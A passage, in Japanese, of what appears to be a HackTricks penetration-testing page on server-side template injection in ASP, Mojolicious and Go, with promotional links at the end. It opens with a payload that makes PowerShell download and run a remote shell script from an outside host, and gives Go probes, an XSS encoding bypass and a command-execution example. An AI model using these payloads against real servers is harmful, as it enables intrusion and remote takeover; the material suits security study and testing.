<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

詳細

Mojolicious (Perl)

パールであっても、RubyのERBのようなタグを使用します。

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

GOにおけるSSTI

Goのテンプレートエンジンでは、特定のペイロードを使用してその使用を確認できます

  • {{ . }}: データ構造の入力を表示します。たとえば、Password属性を持つオブジェクトが渡された場合、{{ .Password }}でそれを公開できます。
  • {{printf "%s" "ssti" }}: 文字列 "ssti" を表示することが期待されています。
  • {{html "ssti"}}, {{js "ssti"}}: これらのペイロードは、"html"や"js"を追加せずに "ssti" を返すはずです。さらなる指示については、Goのドキュメントこちらを参照してください。

XSSの悪用

text/templateパッケージを使用すると、XSSをペイロードを直接挿入することで簡単に行うことができます。一方、html/templateパッケージはこれを防ぐために応答をエンコードします(たとえば、{{"<script>alert(1)</script>"}}&lt;script&gt;alert(1)&lt;/script&gt;となります。ただし、Goでのテンプレートの定義と呼び出しはこのエンコードをバイパスできます{{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet コードをコピー

RCEの悪用

html/templatetext/templateの間でRCEの悪用は大きく異なります。text/templateモジュールでは、任意のパブリック関数を直接呼び出すことができます("call"値を使用)、これはhtml/templateでは許可されていません。これらのモジュールのドキュメントはhtml/templateの場合こちらtext/templateの場合こちらで利用できます。

GoにおけるSSTIを介したRCEにおいて、オブジェクトのメソッドを呼び出すことができます。たとえば、提供されたオブジェクトにSystemメソッドがコマンドを実行する場合、{{ .System "ls" }}のように悪用できます。これを悪用するには通常、ソースコードへのアクセスが必要です。与えられた例のように:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

詳細情報

その他の攻撃手法

他の攻撃手法については、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injectionをチェックしてください。また、興味深いタグ情報はhttps://github.com/DiogoMRSilva/websitesVulnerableToSSTIで見つけることができます。

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

関連するヘルプ

役立つと思われる場合は、以下を参照してください:

ツール

ブルートフォース検出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

練習&参考文献

RootedCONスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。

{% embed url="https://www.rootedcon.com/" %}

ゼロからヒーローまでのAWSハッキングを学ぶ htARTEHackTricks AWS Red Team Expert

HackTricksをサポートする他の方法